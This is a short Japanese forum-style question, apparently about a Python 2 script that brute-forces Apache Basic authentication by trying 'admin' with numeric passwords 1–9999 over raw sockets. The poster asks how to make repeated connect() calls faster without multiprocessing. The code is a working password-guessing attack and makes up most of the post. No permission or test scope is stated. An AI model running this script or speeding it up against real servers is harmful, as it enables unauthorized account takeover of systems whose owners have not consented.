urllib や socket lib コーディングを使用せずに、Apache 認証に高速なブルート フォース テストを使用したいと考えています。ただし、connect() は非常に遅いタスク (400/m) です。
connect() 関数を繰り返し使用するときに効率を上げるにはどうすればよいですか (マルチプロセス アプローチを使用せずに、コード レベルのみで)。
for num in xrange(1,10000):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
if '200 OK' in(s.recv(32)) :
print 'got password !',str(num)
s.close()